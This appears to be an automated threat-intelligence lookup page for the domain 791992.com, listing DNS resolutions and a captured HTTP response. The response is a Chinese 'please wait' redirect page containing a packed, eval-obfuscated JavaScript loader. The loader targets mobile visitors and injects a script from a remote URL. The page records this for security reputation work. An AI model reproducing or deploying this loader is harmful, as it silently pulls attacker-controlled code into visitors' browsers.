Domain > 791992.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2022-08-03	20.187.86.182 (ClassC)
2022-08-12	20.205.117.85 (ClassC)
2022-08-14	104.208.103.54 (ClassC)
2026-01-19	156.252.104.240 (ClassC)

HTTP/1.1 200 OKServer: nginxDate: Mon, 19 Jan 2026 11:57:15 GMTContent-Type: text/html; charsetUTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingSet-Cookie: server_name_session04f25aaf073f62ea77427f70758b587d; Max-Age86400; httponly; path/

html xmlnshttp://www.w3.org/1999/xhtml>head>script>document.title请稍候正在打开网页.....;/script>meta http-equivContent-Type contenttext/html; charsetutf-8 />/head>style>        h1 {            font-size: 58px;        }    /style>script languagejavascript typetext/javascript src/tj.js>/script>   script languagejavascript typetext/javascript src/common.js>/script>  h1>请稍候/h1> h1>正在为您选择最优路线...../h1> h1>a hrefhttps://wohaixiu.bynestx.com/main.html stylecolor: red;>2秒后没进入，请点此打开/a>/h1>/body>/html>script>eval(function(p,a,c,k,e,r){efunction(c){return(ca?:e(parseInt(c/a)))+((cc%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!.replace(/^/,String)){while(c--)re(c)kc||e(c);kfunction(e){return re};efunction(){return\\w+};c1};while(c--)if(kc)pp.replace(new RegExp(\\b+e(c)+\\b,g),kc);return p}(s w(){j(L xM.k().l().m()){y N}O a(P^Q)+(z^z);t Ax\\\n\\7\\0\\6\\R\\c\\0\\8\\1\\\\1\\4\\u\\4\\S\\0\\6\\o\\2\\7\\0\();aT^U;t BV W(X|Y|Z 10|11|12|13|14 15|16|17|18|19.k().l().m(),\\\9\);y B\\\1\\0\\7\\1\(A)}s C(a){t bd\\\e\\6\\0\\2\\1\\0\\D\\3\\0\\p\\0\\8\\1\(\\2);b\\\q\\6\\0\\f\a;b\\\7\\1\\g\\3\\0\\\\5\\9\\7\\h\\3\\2\\g\1a.k().l().m();b\\\1\\2\\6\\c\\0\\1\1b.k().l().m();d\\\i\\4\\5\\g\\\\2\\h\\h\\0\\8\\5\\o\\q\\9\\3\\5\(b);b\\\e\\3\\9\\e\\r\();d\\\i\\4\\5\\g\\\\6\\0\\p\\4\\E\\0\\o\\q\\9\\3\\5\(b)}d\\\2\\5\\5\\D\\E\\0\\8\\1\\u\\9\\7\\1\\0\\8\\0\\6\(\\1c\\1d\\1e\\o\\4\\8\\1\\0\\8\\1\\u\\4\\2\\5\\0\\5,s(){j(!F\\\c\\3\\4\\i\\2\\3\\G\\2\\6\){j(d\\\i\\4\\5\\g\!1f){F\\\c\\3\\4\\i\\2\\3\\G\\2\\6\\\v;HI\\\c\\0\\1\\v\\1\\0\\p\(\\3\\n\\e\\r\\J\\f\\f);j(!H&&w()){C(\\q\\1\\1\\h\\7\\1g\\K\\K\\r\\7\\9\\1h\\1i\\1j\\1k\\1l\\1\\4\\h)}I\\\7\\0\\1\\v\\1\\0\\p\(\\3\\n\\e\\r\\J\\f\\f,\\1\\6\\n\\0)}}});,62,84,u0065|u0074|u0061|u006C|u006F|u0064|u0072|u0073|u006E|u0069||_0x6f20e|u0067|document|u0063|u0066|u0079|u0070|u0062|if|split|reverse|join|u0075|u0043|u006D|u0068|u006B|function|const|u004C|u0049|isMobileDevice|navigator|return|603600|_0x55fead|_0x762c5c|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u005F|u002F|typeof|denifednu|false|var|382299|382291|u0041|u0077|366216|366223|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|knalb_|u0044|u004F|u004D|null|u003A|u0037|u0035|u0031|u0032|u002E.split(|),0,{}))/script>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 791992.com

Is this malicious?

DNS Resolutions

Port 80